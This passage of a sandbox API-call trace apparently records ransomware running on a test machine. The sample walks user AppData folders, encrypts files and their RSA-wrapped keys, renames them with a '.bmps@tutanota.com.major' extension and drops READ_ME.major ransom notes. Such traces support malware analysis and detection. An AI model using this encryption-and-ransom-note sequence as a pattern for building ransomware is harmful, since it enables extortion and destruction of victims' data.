lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.832] SetFilePointer (in: hFile=0xa18, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.832] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.832] WriteFile (in: hFile=0xa18, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.833] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.833] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uy0G8UwMzaYQbz/2mYR4bb7WZ3dVabbFM/kr+rGBW+t5wsgE30QBBx2G0djJhqbb\nK80LbQXOcC4tWKnQTUyzQDceq8VX9iQSH7Dg1GIRrQmYZOjlsY0jrDb1Zimv4u/Y\nLlpYLhPKSg5heWSCRitUsjcFvst1WRRCNZu/Hdfm3ROesTBNUjJdczHPmFo6LRRo\nAkQjvMqX5xntGkdpbHejQ5KcoCZxvwwKor/1dxHNaBkyNmm0P2zM32iljiHfkcOY\ntUecC+qkX9YB/g8p5aRMTs0uSq9b+ia41g0/gOoOso8n607M5UJ6XSACM39ZrdGC\nafsIthP6XeRYHc04m1oQTg==\n", pcchString=0x2e3f9a8) returned 1 [0193.833] WriteFile (in: hFile=0xa18, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.834] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.834] WriteFile (in: hFile=0xa18, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.834] CloseHandle (hObject=0xa18) returned 1 [0193.834] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompatua\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.837] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87368 [0193.837] SetLastError (dwErrCode=0x0) [0193.837] GetLastError () returned 0x0 [0193.837] SetLastError (dwErrCode=0x0) [0193.837] GetLastError () returned 0x0 [0193.837] SetLastError (dwErrCode=0x0) [0193.837] FindNextFileW (in: hFindFile=0x2f87368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.837] SetLastError (dwErrCode=0x0) [0193.837] GetLastError () returned 0x0 [0193.837] SetLastError (dwErrCode=0x0) [0193.837] GetLastError () returned 0x0 [0193.837] SetLastError (dwErrCode=0x0) [0193.837] FindNextFileW (in: hFindFile=0x2f87368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf58ffddd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.838] SetLastError (dwErrCode=0x0) [0193.838] GetLastError () returned 0x0 [0193.838] SetLastError (dwErrCode=0x0) [0193.838] SetLastError (dwErrCode=0x0) [0193.838] FindNextFileW (in: hFindFile=0x2f87368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abf9bf4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abf9bf4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.838] SetLastError (dwErrCode=0x0) [0193.838] GetLastError () returned 0x0 [0193.838] SetLastError (dwErrCode=0x0) [0193.838] SetLastError (dwErrCode=0x0) [0193.838] FindNextFileW (in: hFindFile=0x2f87368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abf9bf4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abf9bf4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.838] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.838] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", dwFileAttributes=0x80) returned 1 [0193.838] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa1c [0193.839] GetFileSizeEx (in: hFile=0xa1c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.839] ReadFile (in: hFile=0xa1c, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.839] SetFilePointer (in: hFile=0xa1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.839] WriteFile (in: hFile=0xa1c, lpBuffer=0x59d340*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.839] SetFilePointer (in: hFile=0xa1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.839] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.839] WriteFile (in: hFile=0xa1c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/KKusnY72DjOEAnGvv5LQYg2o/9L/vj72LZVgX1qXqgJn0XmbBI6HO28aL8LUAyD\nxpjYwunoovYHDbs4tRQtS4ZokXS4Dvj/wty8LauYywrbD8J2gvwWjYXSOXtgun96\nfZN8bsv6QIjZZ+RIrPAvvSEgyWmdoltAV5VOAL4R5yVf2O+lhoY5MVHU/idT1EuK\nD4v16OxPPLrZaSmX+Eg/HRTgMT6RASrGEn4elqi41LVGyZtM7quc2CZ4yuBQ8yr3\nilCbQ3QUZH8uILe/7WUlNACN2SVnyLw1HNYDCPKWBl2yY+8tH5BVYRPTFFQ/edMr\nT6yGF9SjAR8dml7kAnPZEA==\n", pcchString=0x2e3f9a8) returned 1 [0193.840] WriteFile (in: hFile=0xa1c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.840] WriteFile (in: hFile=0xa1c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.840] CloseHandle (hObject=0xa1c) returned 1 [0193.841] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_ieflipahead\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.842] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f870a8 [0193.842] SetLastError (dwErrCode=0x0) [0193.842] GetLastError () returned 0x0 [0193.842] SetLastError (dwErrCode=0x0) [0193.842] GetLastError () returned 0x0 [0193.842] SetLastError (dwErrCode=0x0) [0193.842] FindNextFileW (in: hFindFile=0x2f870a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.842] SetLastError (dwErrCode=0x0) [0193.842] GetLastError () returned 0x0 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] GetLastError () returned 0x0 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] FindNextFileW (in: hFindFile=0x2f870a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2abf9bf4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abf9bf4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] GetLastError () returned 0x0 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] SetLastError (dwErrCode=0x0) [0193.843] FindNextFileW (in: hFindFile=0x2f870a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] GetLastError () returned 0x0 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] SetLastError (dwErrCode=0x0) [0193.843] SetLastError (dwErrCode=0x0) [0193.843] GetLastError () returned 0x0 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] GetLastError () returned 0x0 [0193.843] SetLastError (dwErrCode=0x0) [0193.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa20 [0193.896] WriteFile (in: hFile=0xa20, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.896] CloseHandle (hObject=0xa20) returned 1 [0193.897] FindNextFileW (in: hFindFile=0x2f870a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d5d939a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 0 [0193.897] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2adc95a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87668 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] GetLastError () returned 0x12 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] GetLastError () returned 0x12 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] FindNextFileW (in: hFindFile=0x2f87668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2adc95a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] GetLastError () returned 0x12 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] GetLastError () returned 0x12 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] FindNextFileW (in: hFindFile=0x2f87668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2adc95a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2adc95a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2adc95a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] GetLastError () returned 0x12 [0193.897] SetLastError (dwErrCode=0x12) [0193.897] SetLastError (dwErrCode=0x12) [0193.897] FindNextFileW (in: hFindFile=0x2f87668, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2adc95a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2adc95a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2adc95a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.898] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1a9358, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87768 [0193.898] SetLastError (dwErrCode=0x12) [0193.898] GetLastError () returned 0x12 [0193.898] SetLastError (dwErrCode=0x12) [0193.898] GetLastError () returned 0x12 [0193.898] SetLastError (dwErrCode=0x12) [0193.898] FindNextFileW (in: hFindFile=0x2f87768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1a9358, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.898] SetLastError (dwErrCode=0x12) [0193.898] GetLastError () returned 0x12 [0193.898] SetLastError (dwErrCode=0x12) [0193.898] GetLastError () returned 0x12 [0193.898] SetLastError (dwErrCode=0x12) [0193.898] FindNextFileW (in: hFindFile=0x2f87768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0193.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0193.898] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0193.899] SetLastError (dwErrCode=0x12) [0193.899] GetLastError () returned 0x12 [0193.899] SetLastError (dwErrCode=0x12) [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0193.899] SetLastError (dwErrCode=0x12) [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6569c0 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a60 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c680 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6569c0 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66b318 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0193.899] SetLastError (dwErrCode=0x12) [0193.899] GetLastError () returned 0x12 [0193.899] SetLastError (dwErrCode=0x12) [0193.899] GetLastError () returned 0x12 [0193.899] SetLastError (dwErrCode=0x12) [0193.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0193.899] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28 [0193.901] WriteFile (in: hFile=0xa28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.901] CloseHandle (hObject=0xa28) returned 1 [0193.901] FindNextFileW (in: hFindFile=0x2f87768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0193.901] SetLastError (dwErrCode=0x0) [0193.902] GetLastError () returned 0x0 [0193.902] SetLastError (dwErrCode=0x0) [0193.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0193.902] SetLastError (dwErrCode=0x0) [0193.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a38 [0193.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656a60 [0193.902] SetLastError (dwErrCode=0x0) [0193.902] GetLastError () returned 0x0 [0193.902] SetLastError (dwErrCode=0x0) [0193.902] GetLastError () returned 0x0 [0193.902] SetLastError (dwErrCode=0x0) [0193.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0193.902] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28 [0193.902] WriteFile (in: hFile=0xa28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 